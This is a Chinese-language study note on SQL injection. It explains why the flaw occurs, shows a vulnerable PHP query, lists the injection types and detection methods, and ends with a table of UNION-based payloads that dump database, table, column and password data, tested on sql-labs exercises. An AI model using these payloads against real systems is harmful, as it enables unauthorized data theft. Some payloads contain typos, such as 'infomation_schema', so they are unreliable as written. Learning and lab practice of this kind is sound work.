sql注入笔记(一)
培训又再学了sql注入,发现手注还是很生疏,再重新写个笔记捋一捋。
可能是没有学习过数据库的原因,对语法和原理都不够熟悉。
ps:笔记是学习了很多博客文章的个人整理,侵权删🐧
# sql注入漏洞产生原因
前端的数据传入后端进行处理时,没有做好严格的判断,从而导致传入的数据与字符串进行拼接,被当作数据库的一部分执行,从而攻击者可以对数据库进行破坏。
例:“你明天()来我这一趟”,()内就是前端返回的数据,当对返回的数据没有过滤的时候,攻击者就可以“你明天(把你钱全部拿)来我这一趟”,从而实现对数据库的攻击。
sql注入存在于用户可以控制数据的输入以及参数带入数据库查询的情况,如果不严格过滤,这些代码就能够执行其他操作,从而造成危害。
举个栗子:
$id = $_GET [ 'id' ]; $sql = "select * from users where id=$id"
id是前端返回的数据,sql是与数据库交互的语句。
当id=1 and 1=1,返回id=1的结果,1=1为真,and当两个都为真的时候才为真,因此就可以对id进行爆破。
# 数据库基础
常用的数据库为mysql,其他还有redis、mongodb
mysql中默认的数据库有sys、mysql、performence_schema、infomation_schema(MySQL version>5.0)
数据库中的结构为库->表->列->行
# 常用的sql语句
sql是属于一门计算机语言,数据库是不能自己传数据的,而sql就是用来访问和操作数据库系统的。
SELECT 列名称 FROM 表名称 WHERE 列 运算符 值
# sql注入类型
- 布尔型盲注:根据返回页面判断条件真假
- 时间型盲注:用页面返回时间判断是否存在注入
- 基于错误的注入:页面会返回错误信息
- 联合查询注入:可以使用union的情况下
- 堆查询注入
# sql注入漏洞的检查
怎么发现sql注入漏洞呢?有数据输入的地方一定有?
1. 利用数据库的错误信息:
尝试在应用程序的输入字段中输入一些特殊字符,比如引号、分号和其他sql关键字,查看是否会引发错误和产生异常响应,如果和预期不符合那么可能存在sql注入漏洞。
2. 堆叠查询:
尝试在输入字段中插入两个或多个sql查询语句,并观察是否会执行额外的查询,如果执行,则可能存在注入漏洞。
3. 布尔盲注:
在注入点上使用布尔逻辑来判断条件是否成立,使用and or not运算符,观察应用程序的行为是否会根据条件的真假发生变化
4. 时间盲注:
在注入点上使用时间延迟来判断条件是否成立,在sql语句中添加等待时间,观察应用程序响应时间是否有所不同。
# sql注入漏洞的利用
## 常规union注入
| 确定注入点,确定闭合方式:http://ip/?id=1' |
| 猜测字段(二分法):?id=1' order by 3 %23 |
| 查看哪个字段回显:?id=1’ union select 1,2,3 %23 |
| 查看当前数据库/用户信息:?id=1' union select 1,user(),database() %23 |
| 查看所有数据库:?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23 |
| 查看数据库中的所有表:?id=1' union select 1,2,group_concat(table_name) from infomation_schema.tables where table_schema='schemaname' %23 |
| 查看表中所有列:?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='schemaname' %23 |
| 查询行信息:?id=1' union select 1,2,group_concat(password) from schemaname.tablename %23 |
## 判断数字型还是字符串型号
举例:sql-labs less-1 and less-2
在less1中:
?id=1' #报错 ?id=1' %23 #注释后不报错 //字符型
在less2中:
?id=1' #报错 ?id=1' %23 #报错 ?id=1 and 1=1 #不报错 ?id=1 and 1=2 #不报错
先利用错误信息注入判断是否可以注入,判断闭合方式,在用布尔型盲注判断是数字型还是字符串型。